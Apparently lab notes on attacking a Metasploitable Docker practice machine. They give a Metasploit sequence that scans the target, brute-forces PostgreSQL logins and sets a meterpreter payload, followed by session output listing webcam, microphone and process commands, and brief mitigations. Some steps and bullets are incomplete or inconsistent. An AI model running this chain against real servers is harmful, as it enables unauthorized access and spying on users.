

# 07 - Metasploitable Docker 2

---

## Methodology

### 1. Reconnaissance

- OS Version
- Port scanning
- Network topology
- services (versions, name)
- active machines

### 2. Basic actions

- Known password testing
- Known
- If successful run RCE

### 3. Research

- search for known vulnerabilities with a scanner
- search on github issues
- search on [https://cve.mitre.org/cve/search\\_cve\\_list.html](https://cve.mitre.org/cve/search_cve_list.html)
- search on

## Attack

```
service postgresql start
msfdb init
msfconsole
db_nmap -A -p 0-10000 10.2.0.8
search auxiliary/scanner/postgres
use auxiliary/scanner/postgres/postgres_login
set RHOST 10.2.0.8
set PORT 8181
set payload linux/x86/meterpreter/bind_tcp
run
```

```

/bin/login@0726bbce-2eba-44b-9556-1e5a1a9d9b0b...
Stdapi: Webcam Commands
=====

Command      Description
-----
webcam_chat   Start a video chat
webcam_list   List webcams
webcam_snap   Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

Stdapi: Mic Commands
=====

Command      Description
-----
listen       listen to a saved audio recording via audio player
mic_list     list all microphone interfaces
mic_start    start capturing an audio stream from the target mic
mic_stop     stop capturing audio

Stdapi: Audio Output Commands
=====

Command      Description
-----
play         play a waveform audio file (.wav) on the target system

meterpreter > ps

Process List
=====

PID  PPID  Name      Arch  User      Path
----
1    0      run_all   x86_64 root      .
11   1      tail      x86_64 root      .
33   1      apache2   x86_64 root      .
34   33     apache2   x86_64 www-data  .
35   33     apache2   x86_64 www-data  .
36   33     apache2   x86_64 www-data  .
37   33     apache2   x86_64 www-data  .
38   33     apache2   x86_64 www-data  .
45   1      postgres  x86    postgres  /usr/lib/postgresql/8.3/bin
48   45     postgres  x86    postgres  /usr/lib/postgresql/8.3/bin
49   45     postgres  x86    postgres  /usr/lib/postgresql/8.3/bin
50   45     postgres  x86    postgres  /usr/lib/postgresql/8.3/bin
51   45     postgres  x86    postgres  /usr/lib/postgresql/8.3/bin
75   1      postgres  x86    postgres  /usr/lib/postgresql/8.3/bin
78   1      postgres  x86    postgres  /usr/lib/postgresql/8.3/bin

meterpreter >

```

## Mitigation

- Change PostgreSQL default Password
- Only allow local connections
- Deny access by firewall